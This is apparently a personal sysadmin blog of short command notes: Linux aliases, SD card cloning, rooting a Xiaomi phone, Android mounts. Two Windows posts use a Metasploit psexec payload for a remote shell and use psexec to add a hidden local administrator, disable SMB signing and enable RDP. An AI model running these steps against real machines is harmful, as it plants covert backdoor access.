start Nautilus from shell

nano ~/.bash_aliases

alias start=’nautilus  &> /dev/null’

$ start /some/path/

Рубрика: admin, linux | Оставить комментарий

move deployed linux to external SD card

1 format and create partitions on sd card (/dev/sdb)

  • with fdisk
  • with gparted (my choise)

result:
Device     Boot    Start      End  Sectors  Size Id Type
/dev/sdb1           2048 53110783 53108736 25.3G 83 Linux
/dev/sdb2       53110784 62332927  9222144  4.4G  b W95 FAT32

2 copy deployed linux img to linux machime

3 mount source and destination

mount  /tmp/linux.img /root/source_mount_point/

mount /dev/sdb1 /root/dest_mount_point/

4 clone deployed linux

tar cf — -C /root/source_mount_point . | tar xvf — -C /root/dest_mount_point/

5 umount source and destination

6 change setting in «linux Deploy»

Installation path:

/dev/block/mmcblk1p1

7 start and connect with ConnectBot

Рубрика: admin, кпк, кпк, linux | Оставить комментарий

root xiaomi redmi note 3 pro (miui 8 dev, android 6)

o phone must have unlocked bootloader

1 download and install (my os win10)

http://download.clockworkmod.com/test/UniversalAdbDriverSetup.msi

2 download and unzip to c:

FLASHER TOOLKIT V1-00.zip

3 copy to phone  UPDATE-SuperSU-v2.65-20151226141550.zip

4 enter in fastboot mode (vol- + power)

5 install supersu

6 check root

NB can be unrooted by SuperSU form GUI

Рубрика: admin, кпк, кпк | Оставить комментарий

manual mount sdcard in android

By example:

mount -t vfat /dev/block/vold/public\:179,65 /storage/3FE7-1BEC/

As result:

#df

/mnt/media_rw/3FE7-1BEC    29.7G     2.4M    29.7G   32768
/mnt/runtime/default/3FE7-1BEC    29.7G     2.4M    29.7G   32768
/mnt/runtime/read/3FE7-1BEC    29.7G     2.4M    29.7G   32768
/mnt/runtime/write/3FE7-1BEC    29.7G     2.4M    29.7G   32768

..

/storage/3FE7-1BEC      29.7G     2.4M    29.7G   32768

….

 

#mount

….

/dev/block/vold/public:179,65 /mnt/media_rw/3FE7-1BEC vfat rw,dirsync,nosuid,nodev,noexec,relatime,uid=1023,gid=1023,fmask=0007,dmask=0007,allow_utime=0020,codepage=437,iocharset=iso8859-1,shortname=mixed,utf8,errors=remount-ro 0 0
/dev/fuse /mnt/runtime/default/3FE7-1BEC fuse rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0
/dev/fuse /mnt/runtime/read/3FE7-1BEC fuse rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0
/dev/fuse /mnt/runtime/write/3FE7-1BEC fuse rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0

….

/dev/fuse /storage/3FE7-1BEC fuse rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0

….

Рубрика: кпк | Оставить комментарий

xiaomi redmi note 3 pro: unlock bootloader and flash (developer global)

1 register for request for unlock here http://en.miui.com/unlock/

2 wait approve (sms) (3 days for me)

3 download MiFlashUnlock here http://en.miui.com/unlock/download_en.html

4 note for Kedasoft USB problem (at win 10) like here http://en.miui.com/thread-202290-1-1.html

5 unlock (if needed)

I Have ‘no need to unlock this devise’ message

6 optionally check unlock state by

fastboot oem device-info

like thise http://4pda.ru/forum/index.php?showtopic=721838&st=1780#entry49082400

7 Flash with Fastboot method like this http://en.miui.com/a-234.html

unlock2WAIT

screenshot_2017-01-01-19-43-57-419_com-android-updater

Рубрика: admin, кпк | Оставить комментарий

choco v0.10 remote install w/Proxy

1 get remote PS

b.e. with msf psxec set PAYLOAD windows/powershell_bind_tcp

2 install choco

2.1 Set-ExecutionPolicy RemoteSigned

2.2 set system-wide proxy host and port (with CMD either with PS)

2.3 install .net framework 4 (TODO install by script)

$env:chocolateyProxyLocation = 'https://local/proxy/server'
$env:chocolateyProxyUser = 'username'
$env:chocolateyProxyPassword = 'password'
install.ps

2.4 REBOOT

3 install soft

choco config set proxy http://localhost:8888
choco config set proxyUser username
choco config set proxyPassword password

cinst filezilla -y

 LINKS
https://chocolatey.org/docs/installation
https://chocolatey.org/docs/proxy-settings-for-chocolatey

Рубрика: admin, windows | Оставить комментарий

psexec exec user, add to localgroup Администраторы

1 cmdkey /add:192.168.0.47 /user:192.168.0.47\Администратор /pass:123123

2 psexec \\192.168.0.47 net user myuser123 12341234 /add

3 psexec \\192.168.0.47 net localgroup Администраторы myuser123  /add

4 cmdkey /delete:192.168.0.47

5 psexec \\192.168.0.47 -u myuser123  -p 12341234  cmd

Optional

6 reg add «HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList» /v myuser123  /t REG_DWORD /d 0

7 check and add (if needed)

reg add «HKEY_LOCAL_MACHINE\system\currentcontrolset\services\lanmanserver\parameters» /v RequerySecuritySignature /t REG_DWORD /d 0

8) reg add «HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\policies\system» /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1

9) enable MSTerminal

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Рубрика: admin, windows | Оставить комментарий